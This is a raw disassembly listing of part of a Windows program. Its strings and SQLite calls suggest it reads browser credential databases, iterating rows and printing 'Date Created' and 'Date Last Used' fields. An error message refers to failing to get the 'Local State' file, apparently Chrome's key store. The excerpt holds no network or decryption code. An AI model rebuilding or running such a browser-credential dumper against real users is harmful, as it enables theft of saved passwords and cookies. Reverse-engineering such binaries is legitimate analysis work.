call fcn.140026c9c
lea rcx, [rbp + 0x70]
mov r8, qword [rbp + 0x80]
cmp qword [rbp + 0x88], 0xf
jbe 0x140005689
mov rdx, qword [rbp + 0x70]
add r8, rdx
jmp 0x140005690
add r8, rcx
lea rdx, [rbp + 0x70]
lea rcx, [rbp - 0x70]
call fcn.140009cc0
nop
mov r8, rax
lea rdx, str.Date_Created:
lea rcx, [rsp + 0x50]
call fcn.140009b80
nop
lea rdx, [0x14002ea80]
mov rcx, rax
call fcn.1400090b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
lea r9, [rsp + 0x70]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rdi
mov r15, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x140005748
lea rax, [r15 + rsi]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 7
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r15 + rsi]
xor ecx, ecx
mov word [rbx + rax*2], cx
xor ebx, ebx
jmp 0x140005762
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14000a790
mov r14, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
cmp r14, 7
jbe 0x14000579e
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140005795
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ed0
mov rcx, rdi
call fcn.140026c9c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400057e0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400057db
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ed7
call fcn.140026c9c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], bx
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x140005833
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000582e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ede
call fcn.140026c9c
lea rcx, [rbp + 0x50]
mov r8, qword [rbp + 0x60]
cmp qword [rbp + 0x68], 0xf
jbe 0x14000584b
mov rdx, qword [rbp + 0x50]
add r8, rdx
jmp 0x140005852
add r8, rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp - 0x70]
call fcn.140009cc0
nop
mov r8, rax
lea rdx, str.Date_Last_Used:
lea rcx, [rsp + 0x50]
call fcn.140009b80
nop
lea rdx, [0x14002eaf8]
mov rcx, rax
call fcn.1400090b0
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
or dword [rsp + 0x40], 0x1f
lea r9, [rsp + 0x70]
movq rdi, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 8
movq r14, xmm0
cmp r14, 7
cmova r9, rdi
mov r15, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
sub rax, r15
movq rsi, xmm1
cmp rsi, rax
ja 0x14000590f
lea rax, [rsi + r15]
mov qword [rbp - 0x20], rax
lea rbx, [rbp - 0x30]
cmp rcx, 7
cmova rbx, qword [rbp - 0x30]
lea rcx, [rbx + r15*2]
lea r8, [rsi + rsi]
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
lea rax, [r15 + rsi]
xor ecx, ecx
mov word [rbx + rax*2], cx
xor ebx, ebx
jmp 0x140005929
mov qword [rsp + 0x20], rsi
mov rdx, rsi
lea rcx, [rbp - 0x30]
call fcn.14000a790
mov r14, qword [rbp - 0x78]
mov rdi, qword [rsp + 0x70]
cmp r14, 7
jbe 0x140005965
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000595c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ee5
mov rcx, rdi
call fcn.140026c9c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 7
jbe 0x1400059a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005eec
call fcn.140026c9c
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], bx
mov rdx, qword [rbp - 0x58]
cmp rdx, 7
jbe 0x1400059fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400059f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ef3
call fcn.140026c9c
lea rdx, [0x14002eaf8]
lea rcx, [rbp - 0x30]
call fcn.1400090b0
nop
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x140005a46
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a41
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005efa
call fcn.140026c9c
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x140005a94
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005a8f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f01
call fcn.140026c9c
mov qword [rbp + 0x80], rbx
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0xf
jbe 0x140005aeb
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ae6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f08
call fcn.140026c9c
mov qword [rbp + 0x198], rbx
mov qword [rbp + 0x1a0], 0xf
mov byte [rbp + 0x188], 0
mov rcx, qword [rbp + 0x120]
test rcx, rcx
je 0x140005b45
mov rdx, qword [rbp + 0x130]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f0f
call fcn.140026c9c
nop
mov rcx, qword [rbp - 8]
test rcx, rcx
je 0x140005b80
mov rdx, qword [rbp + 8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b7a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f16
call fcn.140026c9c
nop
test r12, r12
je 0x140005bba
sub r13, r12
mov rax, r12
cmp r13, 0x1000
jb 0x140005bae
add r13, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f1d
mov rdx, r13
mov rcx, r12
call fcn.140026c9c
nop
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x140005bfb
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005bf6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f24
call fcn.140026c9c
mov qword [rbp + 0xa0], rbx
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x1c0]
cmp rdx, 0xf
jbe 0x140005c56
inc rdx
mov rcx, qword [rbp + 0x1a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f2b
call fcn.140026c9c
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x140005c91
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c8c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f32
call fcn.140026c9c
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.sqlite3.dll_sqlite3_step]
cmp eax, 0x64
mov r12d, dword [rsp + 0x40]
je 0x140004e00
mov rsi, qword [rbp + 0xe0]
mov rdi, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xc8]
cmp rdx, 0xf
jbe 0x140005cf8
inc rdx
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f39
call fcn.140026c9c
mov qword [rbp + 0xc0], rbx
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], 0
lea rcx, [rbp + 0x200]
call fcn.140006450
nop
mov rdx, qword [rbp + 0x168]
cmp rdx, 7
jbe 0x140005d64
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x150]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005d5f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f40
call fcn.140026c9c
mov qword [rbp + 0x160], rbx
mov qword [rbp + 0x168], 7
mov word [rbp + 0x150], bx
test rdi, rdi
je 0x140005db6
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x140005daa
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f47
mov rdx, rsi
mov rcx, rdi
call fcn.140026c9c
nop
mov rcx, qword [rbp + 0x138]
test rcx, rcx
je 0x140005df7
mov rdx, qword [rbp + 0x148]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005df1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f4e
call fcn.140026c9c
nop
mov rdx, qword [rbp + 0x118]
cmp rdx, 0xf
jbe 0x140005e38
inc rdx
mov rcx, qword [rbp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005e33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005f55
call fcn.140026c9c
mov r13, qword [rbp + 0x48]
mov r14, qword [rbp + 0x30]
jmp 0x14000476c
lea rdx, str.Fuck_Failed_to_get_local_State.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.1400095c0
mov rcx, rax
lea rdx, [0x1400097a0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov r13, qword [rbp + 0x48]
mov r14, qword [rbp + 0x30]
jmp 0x140004773
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140026c9c
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], rsi
mov rdx, qword [rbp - 0x18]
cmp rdx, 7
jbe 0x140005fcb
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fc6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005fc6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140026c9c
xor eax, eax
mov rcx, qword [rbp + 0x2a0]
xor rcx, rsp
call fcn.140026c40
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140009390
nop
call fcn.140001420
nop
call fcn.140001420
int3
call fcn.140009300
nop
call fcn.140001420
int3
call fcn.140009300
int3